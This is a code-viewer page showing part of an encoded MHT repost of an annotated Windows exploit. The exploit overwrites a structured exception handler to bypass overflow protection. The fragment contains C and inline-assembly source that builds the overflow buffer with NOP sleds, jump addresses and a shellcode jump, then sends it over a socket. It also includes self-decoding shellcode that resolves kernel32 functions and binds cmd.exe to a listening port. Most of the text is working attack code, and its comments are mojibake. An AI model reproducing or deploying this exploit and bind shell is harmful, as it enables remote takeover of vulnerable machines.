📄 [转帖+注释]利用结构异常绕过溢出保护攻击.mht
字号:
=
temp=3Dshellcodebuff<I>;<BR> =20
=20
=
if(temp<=3D0x10||temp=3D=3D'0'){<BR>/* =20
=
=B6=D4shellcodefn=BA=AF=CA=FD=D7=D6=B7=FB=B1=E0=C2=EB=A3=AC=B8=B4=D6=C6=B5=
=BDbuf=D6=D0 <BR> =20
=
buf=BD=E1=B9=B9=BD=AB=B1=E4=CE=AA<BR>[NNNNNNNN][NNNN][shellcodefnlo=
ck][port][str][shellcodefn][NNNN]<BR> =20
32=B8=F6 =
4=B8=F6<BR> <BR> =20
<BR> */<BR><BR> =
buff[OVERADD+NOPLONG+k]=3D'0';<BR> =20
++k;<BR> temp+=3D0x40;<BR> =
=20
}<BR> =20
buff[OVERADD+NOPLONG+k]=3Dtemp;<BR> =20
=20
=
++k;<BR>}<BR><BR> <BR>for(i=3D-0x30;i<0x20;i+=3D8){<B=
R> =20
=20
=
memcpy(buff+OVERADD2+i,JMPNEXTJMP,4);<BR>/*<BR> =B8=B2=B8=C7=D2=
=EC=B3=A3=BD=E1=B9=B9=B5=C4=CF=C2=D2=BB=B8=F6=D2=EC=B3=A3=C1=B4next=CA=FD=
=BE=DD=A3=AC=B7=A2=C9=FA=D2=EC=B3=A3=CA=B1ebx=D6=C6=CF=F2=D5=E2<BR> =
=D3=EB=CD=A8=B3=A3=B5=C4=B7=A2=C9=FA=D2=E7=B3=F6=CA=B1ESP=D6=B8=CF=F2=
=D2=E7=B3=F6=B4=FA=C2=EB=B8=BD=BD=FC=B2=BB=D2=BB=D1=F9=A3=AC=B7=A2=C9=FA=D2=
=EC=B3=A3=CA=B1<BR> =B5=C4ESP=B2=BB=D4=DA=D5=E2=B8=BD=BD=FC<BR=
>*/ =20
=
<BR> memcpy(buff+OVERADD2+i+4,eipwinnt,4);<BR>/*=20
=
<BR>=B8=B2=B8=C7=D2=EC=B3=A3=BD=E1=B9=B9=B5=C4=B3=CC=D0=F2=D6=B8=D5=EB<BR=
>=B7=A2=C9=FA=D2=EC=B3=A3=CA=B1=BB=E1=D7=AA=B5=BD=D5=E2=D6=B8=D5=EB=C8=A5=
=D4=CB=D0=D0<BR>=D5=E2=B8=B2=B8=C7=B5=C4=CA=C7=D2=BB=B8=F6jmp=20
=
ebx=D6=B8=C1=EE=B5=C4=B5=D8=D6=B7<BR>*/<BR>}<BR>/*<BR> =C1=AC=D0=
=F8=B8=B2=B8=C7=A3=AC=D4=F6=B4=F3=B8=B2=B8=C7=B5=F4=D2=EC=B3=A3=BD=E1=B9=B9=
=B5=C4=BF=C9=C4=DC=D0=D4=20
=
<BR>*/<BR>memcpy(buff+OVERADD2+8,JMPSHELL,5);<BR>/*<BR> =CC=F8=
=B5=BDshellcode=C8=A5=B5=C4=CC=F8=D7=AA=B4=FA=C2=EB=A3=AC=D4=B6=CC=F8=D7=AA=
=A1=A3<BR>*/<BR> sendpacketlong=3D0x1000-0x10;<BR><BR>/* =
=D7=EE=D6=D5=B5=C4buf=CE=AA=A3=BA =20
=
=20
=
=20
=
=20
esp =
ret<BR> =20
=
<BR>[NNNNNNNN][NNNN][shellcodefnlock][port][str][shellcodefn][NNNNN=
NNNNNN][\x90\x90\x90\x2d\x63\x0d\xfa\x7f][\xe9\x40\xf0\xff\xff]<BR> =
=20
32=B8=F6 4=B8=F6 =
=20
=
=20
=
=20
=
=20
0xf88h^ =
=20
=
10=B8=F6<BR><BR>*/<BR> for(i=3D0;i<1;++i){=20
<BR> =20
j=3Dsendpacketlong;<BR> =20
=
fprintf(stderr,"\n=20
send packet %d bytes.",j);<BR> =20
=20
send(fd,buff,j,0);<BR> =20
=20
=
k=3Drecv(fd,recvbuff,0x1000,0);<BR> =20
=
if(k>0){<BR> =20
recvbuff[k]=3D0;<BR> =20
fprintf(stderr,"\n recv:\n=20
%s",recvbuff);<BR> =20
=
}<BR> }<BR> closesocket(fd);<BR>&=
nbsp; WSACleanup(=20
=
);<BR> return(0);<BR>}<BR> <BR><BR>void =
shellcodefnlock()<BR>{<BR> =20
_asm<BR>{<BR> =
=20
nop<BR> =20
nop<BR> =20
=20
nop<BR> =20
nop<BR> =20
=20
nop<BR> =20
nop<BR> =20
=20
nop<BR> =20
nop<BR>/*=20
=
=D3=C3=D3=DA=B6=A8=CE=BB=CF=C2=C3=E6=D2=BB=D0=A1=B6=CE=BB=E3=B1=E0=D6=B8=C1=
=EE=B5=C4NOP =B4=AE */<BR> =20
jmp =20
next<BR>getediadd: <BR> =20
pop EDI<BR> =20
=20
push EDI<BR> =20
=
pop =20
ESI<BR> =20
xor =
ecx,ecx<BR> =20
=
mov =20
cx,0x0fd0<BR>looplock:<BR> =20
lodsb<BR> =20
cmp =20
al,0x30<BR> =
=20
jnz sto<BR> =20
=20
lodsb<BR> =20
sub =20
al,0x40<BR>sto: =20
<BR> stosb<BR> =20
=20
=
loop looplock<BR> =20
=
jmp =20
shell<BR>next: =
=20
=20
=
call getediadd<BR>/* =BD=E2=C2=EBshellcode=20
*/<BR>shell: =
NOP<BR> =20
=20
NOP<BR> =20
NOP<BR> =20
NOP<BR> =20
=20
NOP<BR> =20
NOP<BR> =20
NOP<BR> =20
=20
NOP<BR><BR>}<BR>}<BR><BR>/* =
=D5=E6=D5=FD=CA=B5=CF=D6=B9=A6=C4=DC=B5=C4shellcode=20
*/<BR>/* =
=B1=BEshellcode=CA=B5=CF=D6=BF=AA=B6=CB=BF=DA=B0=F3=B6=A8cmd.exe =
=B5=C4=B9=A6=C4=DC */<BR>void=20
shellcodefn()<BR>{ char =20
Buff[0x800];<BR>int =
=20
=
*except[3];<BR><BR>FARPROC =20
=
closesocketadd;<BR>FARPROC =20
=
ioctlsocketadd;<BR>FARPROC =20
recvadd;<BR> =
=20
FARPROC =20
sendadd;<BR> =
=20
FARPROC =20
acceptadd;<BR> =
=20
FARPROC =20
listenadd;<BR> =
=20
FARPROC =20
bindadd;<BR> =
FARPROC =20
socketadd;<BR>/* =20
FARPROC =20
=
WSAStartupadd; */<BR><BR>FARPROC =20
NOPNOP;<BR><BR>FARPROC =20
WriteFileadd;<BR>FARPROC =
ReadFileadd;<BR>FARPROC =20
=
PeekNamedPipeadd;<BR>FARPROC =20
=
CloseHandleadd;<BR>FARPROC =20
=
CreateProcessadd;<BR>FARPROC =20
=
CreatePipeadd;<BR>FARPROC procloadlib;<BR><B=
R>FARPROC =20
apifnadd[1];<BR>FARPROC =20
=
procgetadd=3D0;<BR><BR>char =20
=
*stradd;<BR>int =20
=20
imgbase,fnbase,k,l;<BR>HANDLE =
=20
libhandle;<BR> =
=20
STARTUPINFO siinfo;<BR> =20
=
SOCKET =20
listenFD,clientFD;<BR> =20
=
struct =20
sockaddr_in server;<BR> =
=
int =20
iAddrSize =3D=20
sizeof(server);<BR>int =
=20
lBytesRead;<BR>u_short =20
shellcodeport;<BR><BR> =20
=20
PROCESS_INFORMATION=20
ProcessInformation;<BR> =
=20
HANDLE =20
=
hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;<BR> =20
=20
SECURITY_ATTRIBUTES =
sa;<BR>_asm=20
{ jmp =20
nextcall<BR> =20
getstradd: pop =20
stradd<BR> =
=20
=
lea =20
EDI,except<BR> =
=20
=
mov =20
eax,dword ptr =
FS:[0]<BR> mov =20
dword ptr =
[edi+0x08],eax<BR> mov =20
dword ptr FS:[0],EDI<BR><BR>}<BR> =
=20
except[0]=3D0xffffffff;<BR> =20
except[1]=3Dstradd-0x07;<BR><BR> =20
imgbase=3D0x77e00000;<BR> =
_asm{<BR> =20
call getexceptretadd<BR> =20
=
}<BR>for(;imgbase<0xbffa0000,procgetadd=3D=3D0<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>{<BR> =20
imgbase+=3D0x10000;<BR> =20
if(imgbase=3D=3D0x78000000)=20
imgbase=3D0xbff00000;<BR> =
if(*(=20
WORD *)imgbase=3D=3D'ZM'&& *(WORD=20
=
*)(imgbase+*(int<BR>*)(imgbase+0x3c))=3D=3D'EP'){<BR>fnbase=3D*(int=20
*)(imgbase+*(int=20
*)(imgbase+0x3c)+0x78)+imgbase;<BR>k=3D*(int=20
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -